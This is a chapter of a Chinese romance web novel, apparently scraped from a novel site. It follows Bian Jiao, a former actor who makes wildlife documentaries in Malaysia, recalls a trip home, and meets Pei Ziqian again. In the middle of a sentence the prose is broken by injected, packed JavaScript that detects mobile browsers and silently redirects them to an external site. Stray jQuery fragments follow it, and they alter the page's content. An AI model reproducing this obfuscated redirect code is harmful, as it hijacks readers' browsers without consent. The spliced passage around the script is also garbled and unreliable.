二零二七年一月二日，首都机场飞往马来西亚吉隆坡。
大地倾斜，蒂迪旺沙山脉在脚下缓慢流淌，异国土地漫入眼中，卞皎顺利落地，与事前联系的同事碰面。
对方名叫田宜宜，是位野生动物摄影师。
同为国人，田宜宜与卞皎保持用中文交流。得知卞皎事前从事演艺工作，她并未多惊讶，只是问他以后还需不需要上镜，在户外拍摄可能会晒黑。第二日两人一同前往彭亨州，卞皎的固定住所就在关丹。
期间田宜宜给他分享了一些过去的拍摄作品，无一例外在野外。
从肯尼亚到斯瓦尔巴群岛，画面主体有夕落下迁徙的象群，也有水下的珊瑚与鱼群。其中有一张是一只奔驰的猎豹在追捕瞪羚，距离很近，几乎可以看清猎豹沾着草屑的黑棕色的爪垫。
自国内绝对安全舒适的环境更改到异国他乡，卞皎暂且未完全适应，见到这张图片，不由抬头看向田宜宜。
“不危险吗？”他斟酌问。
这个看起来瘦小的中国姑娘回答说：“当然危险啊。你不知道，它下一秒就转过来和我对视了。”
卞皎的双眸明显睁大一瞬，田宜宜见状立马笑得不行。
“哎哟，骗你的。其实没这么近，而且同伴手里有武器，我也是要命的。”
卞皎表情里的震惊收下一些，缓缓点了下头，不过十几秒之后再次发问，像思考了很久：
“你们真的有对视？”
田宜宜闻言，表情变得正经。
“这个是真的。”她说：“野外拍摄中和拍摄对象有眼神接触是常事，你以后也会遇见。”
“常事？”
“嗯。不能说正常，只能说常事，毕竟和一个几秒之内就能把你拆吃入腹的动物对视，说不害怕根本不可能，但那种感觉，实际上……很奇妙。”
卞皎似懂非懂。
奇妙这个形容词，在他的记忆中向来能囊括很多种感受。
比如在云海中看一场日出，或者在湖畔仰望一场盛大到几乎垂到眼前的烟花，又甚至是和一个多年不见的人再次重逢，无法描述的内心打成一个线团，线头要么沉甸甸，要么颤动。
不久前他就曾颤动，紧接着很沉甸甸。
与裴子骞的那顿晚餐之后，接下来的一周时间卞皎都在准备出行，这期间红姨关问最多，她给他准备了很多用品，不停地查询相关事宜。
和很多长辈与孩子一样，卞皎的选择在她看来很冒进，甚至有些幼稚，但她没办法干预，只能以一种频繁到极致的频率叫对方来家吃饭，就好像接下来要分隔很多年，甚至就在距离卞皎正式启程的三天前，她还在餐桌上掉了眼泪，惹得卞皎这天晚上直接留宿她家。
第二天晨起，红姨照常起床准备做早餐，却发现卞皎居然已经做好。
饭桌上，卞皎说今晚不过来吃饭了。
红姨问怎么呢，卞皎就笑了一下，说：“我要再回趟阳市。”
这一次回阳市的机票半个月前就已经买好，正是与裴子骞吃完饭的第二天。
上飞机前在登机口排队，有两个女孩一直盯着他看，直到下飞机后在行李转盘，对方抱着笔记本跑过来问他是不是在某部电影中演过一个角色，卞皎反应几秒，才意识到原来是来找自己签名。
他礼貌询问是否要合影，两个小女孩头点得像捣蒜。
拍完一张照片，其中一位小心翼翼地说：“学长，上学的时候我就听过你的传说！你真的好帅！”
“学长？”卞皎闻言怔了一下，想到上个月回到高中母校拍戏的经历，笑着问：“你是阳中的？”
另一位女孩说：“嗯嗯，我们都是，你在阳中可有名了！我们都看过你电影！”
这一点卞皎着实未曾料到。
只听女孩继续：“好幸运，回家一趟居然能够偶遇！学长你回阳市是来拍戏吗？听说最近有部电影取景就在阳中。”
卞皎摇摇头：“那部戏我确实拍了，但是已经杀青。”
“那你回来是……”
“抱歉。”卞皎忽然打断。
女孩顺着他的动作看去，只见他快步走到她的同伴身旁，从转盘上拎起她熟悉的行李箱。
行李箱有三十寸，二十千克的托运额全部装满，此刻被利落放在地上。卞皎问：“看你们很远就盯着它，应该没有取错？”
女孩接过红着脸道谢，可以听见卞皎轻声说了一句没事，接着朝她轻轻一笑：“还没回答你刚刚的问题，回来的目的，我和你一样。”
女孩抓着拉杆抬头，就对上他含笑的眼睛。
来往旅人车水马龙，不大的阳市机场吹进冬日晴风，故地喧嚣之中，他轻声开口：
“回家。”
酒店订在金湖区，卞皎上楼放了行李就下来。
站在湖畔大道遥望曾经的住宅，那幢别墅在蓝天下静然常立，他注视许久，终究没有走近。
调转方向，他朝金湖边走去。
上次故地重游，卞皎没能多待，直到这一次走到金湖边才发现原来这里已经发展起来一片商业区。河对岸的人头攒动，询问一句，原来是今年跨年夜的烟花表演观赏区改了方向。
顺着河岸边行走，柳枝已经金黄，远处石质栏杆边已经站满了人，卞皎就索性停在原地。
他的位置不是观赏烟花秀的最佳角度，但仍旧可以看见整片日落的金湖。抬头朝天空看去，视线就被火烧云中的一小片湛蓝吸引，眸光一动，他忽然垂眸望向一个方向。
那是观赏区的对岸，他刚刚走过的地方。
从下到上三阶平台，零零散散站着一些身影，人群面孔模糊，却又好像都曾在他的记忆中有过一席之地。湖风吹拂，湿冷难捱，此情此景几乎与多年前的某一个傍晚重叠，但又完全不同。
不同在最上方的那一阶台阶少了一个身影——
那里已空无一人。
看了几秒，卞皎收回目光，转身往酒店走。
这天晚上，他终究没有如计划地在金湖岸边看跨年烟花。
关灯侧卧在酒店房间，只能听见窗外接连不断的鸣破声。偶尔起身到阳台边朝外望出去，其实也能看见半空中有颜色瑰丽的光点，虽然不再垂落在眼前，但依旧美得可与回忆做比。
眼底倒映烟花，他靠上阳台栏杆。烟花装点月光，他就无法阻挡地想起那个缺失的身影。
他想到那顿晚餐。他想到他问对方怎么样，而对方给出那句肯定回复。
他想到他的心。
那一刻他的心莫名绕成线团，沉甸甸得像被湖水打湿。那一刻他的心莫名落雨，又在阴落里干透。
“——在想什么？”
风吹起发丝，卞皎循声回头。
是田宜宜从展厅外步入，远远笑着问他：“忙多久了？”
她的额前有汗，五月的吉隆坡气温三十度许，她走近时好像还带着热浪。
路过一幅摄影作品时侧眸望了一眼，脚步明显放慢。
那副作品深绿色丛林背景，但色调明亮，主体是一只马来亚幼虎，左眼受伤，眼神清澈中带着警惕。
“不论看多少遍，”田宜宜说，“还是会爱上你镜头下的动物。”
卞皎笑了下，眼眉清凌。指指身后属于对方的作品：“我是业余，没有你的专业。”
“情感真挚最重要，这点我比不上你啦，”田宜宜吐了下舌头，从他手中接过胶带，“比如上个月，你去林子里拍幼虎放归那次，早晨四点起床坐三小时车，换我恐怕怨气大得连镜头盖都能忘记揭。”
说完，她示意卞皎将手中的工作放下：“好了，接下来都交给我吧。”
卞皎让开位置，站到冷气下方。
他今天穿了一件简单的白色衬衫，袖口挽到手肘的高度，此刻突然靠近出风口，皮肤一阵冰凉，便抬起手去放袖口。
防晒充足，四个月的户外活动完全未在他的身上留下什么痕迹。眼下修长白皙的手指一面顺着小臂往下动作，他一面对田宜宜提议：“不如我们一起，效率更高。”
田宜宜闻言抬眼，呆了一下。
盯着他的胳膊愣了两秒，又将视线移到他的脸孔上。摇头许久，最后还是没忍住啧声偏开话题：“真想把你的防晒统统偷掉。”
卞皎笑了。
“没关系，全给你用都可以。”
“快算了吧，我们用的都是一个牌子。”田宜宜浮夸地叹了声气，诶了下，又故作怀疑说：“不过，会不会是我买到假货？”
卞皎想了想，也认真起来：“不无可能。”
田宜宜噗呲一笑：“这么无聊的玩笑也就你配合我。得了，不用你帮忙，我一个人就足够。”
举了下手机时间，她说：“现在已经五点，你还得去和主办方吃晚餐，路程一个小时，再晚就来不及。”
卞皎是于上周刚刚抵达吉隆坡，为三天后的摄影展做准备。
展会主办方是当地一家大型动保组织，过去几个月中和卞皎所在的团队拍摄过一部小型纪录片，合作匪浅。
这次接洽卞皎的负责人特意约他，与主办方团队一共用餐。
餐厅定在海边一家酒店里，听田宜宜讲那里主打海滨落日景色，甚至可以与亚庇海岸媲美，所以一定要坐窗边。
下车时天空有稍许落雨，卞皎走过一条露天长廊。
也许是天空中的云朵滚滚灰色的原因，他觉得风景并没有田宜宜所说的那样好，甚至远远不比关丹海岸随意的一个晴天。
跟随负责人一起落座后，在场的几位展开寒暄。
有一位女士颇为眉飞色舞，讲：“一个月前我就听过你的名字，卞，原来马来亚虎纪录片的项目是你策划，我太喜欢你的解说词了！你是导演专业出身么？”
卞皎说：“我学新闻，不过以前在中国有过相关经验。”
一旁的负责人这时开了个玩笑：“卞是中国知名的演员，下周我们去柏林参加纪录片节，说不定还会遇见他以前的同事。”
说完他朝卞皎眨了眨眼，卞皎笑着摇了下头。旁边另有一位男士适时接起负责人的话题，他便没再说话。
开胃酒是fino雪莉，卞皎改饮气泡水。自身酒量的缘故，在陌生场合中他总是避免饮酒。餐上略过北海道扇贝，他只动了一道黑松露汤饺，鸡油菌的鲜香配上药草汤味，令他想起来大马前在首都那家高空餐厅喝到的一道腌笃鲜，以及更早一点的一餐冬笋肉丝煲。
忽然，对桌有一位女士指了下窗外，声音略带惊叹道：
“好美的日落，还以为今天看不到了。”
卞皎的思绪被她的话语拉回，转过视线朝窗外看去。
果真有一片日落。
原来田宜宜的描述没有夸张。暗云并未一扫而空，原本灰沉的天色却变得清透，远处海平面上蓝紫一片，卞皎的视线顺着粼粼波光起伏，深蓝海水倒映在他的眼底，一片幽远。
倏忽间，他身旁的女士发问：“卞，你在大马应该待了很久，去过亚庇吗？”
卞皎回眸，就听对方继续说：“那里的日落才是真的漂亮，世界第三大，绝无仅有。”
卞皎笑了笑，点头说：“去过，是很漂亮。”
无谓世界第三大还是什么，卞皎并不迷信这类榜单，但同时他又觉得对方的榜单或许真的很权威。
因为亚庇的日落确实能在他心中排到前三。
一个月前拍摄纪录片时，团队去过一趟沙巴专拍长鼻猴，期间田宜宜兴趣大发说要去拍萤火虫，于是大家在亚庇逗留一天。
卞皎那天有小感冒，头很昏沉，便没有和大部队一起去红树林。
在酒店躺了半个下午后，他昏昏沉沉睁开眼，落地窗外的世界就坦然闯入他的眼帘——
天空金紫，云彩诡谲仿佛就在窗边触手可及，静谧中远望，空间无限放大悠远，一瞬间如同去到了另一个维度。
颤动双睫，卞皎注视着那抹日落。
如同瞻仰神迹，他看着燃烧着的大海，久久无法移开视线。
行程原因，第二天上午卞皎就要离开。
返程的早晨他起得很早，是想看看这个地方的日出是否和日落一样惊艳。但可惜这天天气似乎不好，日出被灰蒙蒙的层云悉数遮挡，待他去机场时天空甚至还飘起小雨。
田宜宜得知卞皎的遗憾，表示十分理解。
“大概很少会有人在见过亚庇的日落后还想着日出，但或许我能懂一点你的感受。几年前，我在新疆阿克苏拍天山草原，当时到达的第一天就是大晴天，万里无云，我的那张丹霞和草原同框的图就是在那个时候拍的。”
说着她从手机中调出那张照片，卞皎接过。
屏幕中三层起伏的山峦，一层橘红，一层草绿，一层冰蓝。
太阳在原野上方恒静高悬，仿佛一只橙燃的眼，隔着时空对视此刻屏幕外的异地旅人。
“任务提前完成，原本计划的待两天就走，但不知道为什么，总感觉有什么东西没有看到，就这样在那里连住了五天。终于，某天傍晚，被我在独库公路上见到了夏日冰雹。暴雨雷风交杂，坐车在路上简直像闯进世界末日，车窗完全关闭的最后一秒还有雨水拍到我的脸上，枪林弹雨，回到蒙古包时我的头发湿了一半，却躺在床上开心了半个小时，起身后立马订了第二天的机票，那一刻才意识到，虽然此行的出发点是拍晴朗草原，但真正想要的其实更多，直到天山山麓的风席卷我，冰雹撞击我，我那一场旅行才算完整，真真正正的完整。”
她坐直身子，很认真地对卞皎说：
“所以后来每一次出游，我都不会提前订回程机票。人的想法太复杂，提前做出决定时，根本不能确定现在想要的是否就是真正想要的。如果你想要再在亚庇留一天看日出，完全可以，接下来的工作还有我们，不用担心。”
田宜宜的话结束，卞皎没有立即答复。
当时他只垂了下眸，看着手中的图
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484085|165050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片许久。
南疆的天很辽阔，蓝得像电影中才会见到的画面，草地海平静无波，一路延伸到远方横长的地平线。
将手机递回给田宜宜后，他笑着摇头。
“时机不对，”他说，“以后吧。以后一定还有机会来亚庇。”
时机，还是这两个字。
其实卞皎从不曾懂究竟什么叫做时机。做出来大马这个决定前，他曾以为时机这个词与以后一词一样，不过是某些人身困囹圄下的自我安慰，就像过去被困在首都的他。
父亲的去世、过往的心结解开、与裴子骞的关系也得到缓解，欲渡无船，欲归无人，这种局面下，按照张碧云所说放手去开启一个人生新方向好像再合适不过。可当迟疑的脚步真的踏上异国土地，身边的语言改变到像是在听鸟儿胡乱鸣啼，三步遇到伦敦飞海参崴的旅客，五步又见到吉隆坡飞巴黎中转中东国家的航班，恍然间他才终于意识到，时机二字好像真的悄然到来身边。
出国前，卞皎也有想过自己到底要在这场尝试中得到些什么，但始终没有得到答案。
直到在关丹待到第二个月，想来想去，才终于将裴子骞的话从记忆中翻出来，得出“来散心”这一个最寻常的答案。
到大马后，卞皎并未接触多少和新闻相关的活动，却阴差阳错得到机会执导拍摄了几部微纪录片。
内容聚焦在野生动物保护上，从拍摄大纲到台本都由他负责。逐字逐句修改解说词到凌晨后抬眼看一眼窗外，发现东方既白的那一瞬，有一种回到新闻学院的小学期，与室友一起守着电脑修改采访作业的错觉。
人生头一次，卞皎发觉自己真正在对某项工作感兴趣。
纪录片最终拍摄很成功，半个月前在网络上发布时还引起一阵不小反响，当地政府甚至准备与卞皎合作，也有人专门提出为他们的团队举办一次摄影展，职业方向好像真的如他所想的那样得到转型，种种有水花无水花的迹象都在喻示着一切走向正轨——
可他总觉得有哪里不对。
从“散心”到找到职业方向，明明很完满，但就像田宜宜拍完晴天后觉得还有什么东西没有看见，卞皎也觉得自己好像缺着什么。
不过不同于对方漫无目的地等一场雨，他的欲求更像顺着暴风闯进车窗的冰雹。
来得很快，也很清晰。
那一天是凌晨四点，卞皎起床，跟随保育中心的工作人员到雨林保护区的边缘。
那天被放归的那只幼虎名叫“米碧”，在马来语中意为梦，半年前因误触捕兽夹伤到眼睛而被救助，经过半年的治疗和野化准备后，它被放出笼门前虽然右眼失明，但左眼视力已经完全恢复。
被救助时年龄太小的缘故，这次放归，在场的工作人员都很不舍。
卞皎离运输笼很远，镜头对焦到米碧上。
笼门打开的那一瞬间，可以看见它动了下爪子，但很迟疑，直到一阵风声刮起，森林深处传出几声鸟鸣，它才缓步踏出，接着一步一步朝着密林走去。
卞皎的镜头跟随它的移动快速抓拍着。
忽然，米碧侧了下头直直望向镜头。
取景框中猝然对视那双猫科动物的眼睛，卞皎呼吸屏住，忘记按下快门。
好在不到两秒米碧就移开了视线。
转了下头朝身后看去，它似乎在看身后的几位工作人员，几秒过后，那橙黑相间的油润毛色重新向前移动，直到隐入绿植深处。
四下恢复宁静，盯着取景框中的一片野绿好片刻，卞皎才恢复呼吸，胸口起伏，但却久久没有眨动眼睫。
“记得那天上午放归幼虎……”
此刻日落餐桌上，负责人忽然提起这件事情。
“当天晚上，你就联系我说要去参加柏林的纪录片节。这两者之间是不是有什么联系？据我所知，之前你好像不怎么喜欢参加这些活动。”
日落短暂，席上的几位都在忙着记录窗外景色，负责人的这个问题就只有卞皎一个人听清。
卞皎手指一圈圈绕着玻璃杯脚转动。指尖沾上冰凉水汽，抬起眼，也眺望着远处的湛蓝许久。
“没有。”
轻轻低笑过一声，他说：“只是想到自己的一个老问题。”
负责人问是什么问题。
“说问题其实也不算，不过是一个结论而已。”卞皎停顿一刻，说：“这个世界上，确实没有什么事情值得一直抓住不放。”
他的语速很缓慢，像是在念一首短诗。
负责人闻言怔了一瞬，似乎并不理解：“哦？没有事情值得抓住不放……”
他追问：“可是你的选择是参加，并不是放弃。”
卞皎却在这时收回目光，没有再接话。
回过头，他只问负责人要不要去阳台外吹吹风，室内的冷气吹得人头晕。
负责人不解，但还是欣然应允。
推开门踩上阳台的木质地板时，夕阳已变得幽蓝，暮色几近消逝。
负责人取出一包烟询问，卞皎摇头说自己不吸烟，对方点点头只抽出一根。
火机声音擦响，卞皎靠在栏杆上盯着天空，尼古丁的气味不讲道理地闯入鼻息，又被腥湿海风吹散。海浪呼吸声音下，忽然却听身旁的负责人动了下脚步。
“我好像看见几个熟人。”负责人转过来，侧头对着他低声说：
“没有错，应该是我们最大的几个合作方。”
说着他不动声色地朝身后使了个眼色，意思是那几个人就在卞皎的身后。
卞皎闻言，却仅颔了下首，其他再没有什么动作。
负责人看出他的不为所动，灭掉烟说：“那我去打个招呼。”
“好。”
海风拂面，卞皎收回视线重新看向天外。
一轮月亮不知何时悬挂在天边，月轮圆润饱满。
负责人的声音从身后传来，言语中那姓氏混杂在风中听不清：“你好，是……先生吗？”
对面的声音倒很清晰：“是我。”
卞皎的眉皱了一下，下一秒表情倏地凝滞。
蓦地转头，他的目光梭巡一瞬，停留在灯光下一个身影上。
对方身着一身简单黑色夹克，身形高大，头发长了许多，在与面前之人握手，似乎察觉到了卞皎的视线，就转眸看来。
视线交接，卞皎心跳漏拍。
浪声之中，他听见那人轻轻开口，声音低磁熟悉，却比海浪还要搅动起伏——
“你好，裴子骞。”
下一瞬灯光照射眼眉，两双眸遥遥相望，世界仿佛无声。
负责人顺着裴子骞的目光回头，看见转过来的卞皎。他惊讶一刻，立即朝卞皎走来两步，对裴子骞说：“裴先生，这是我们《归野》的导演，不知道您是否记得，这部片子将在中马电视台同步播放。卞，这是……”
裴子骞颔首，缓步上前。
“小皎，”海风拂过眉间，他伸出手，“好久不见。”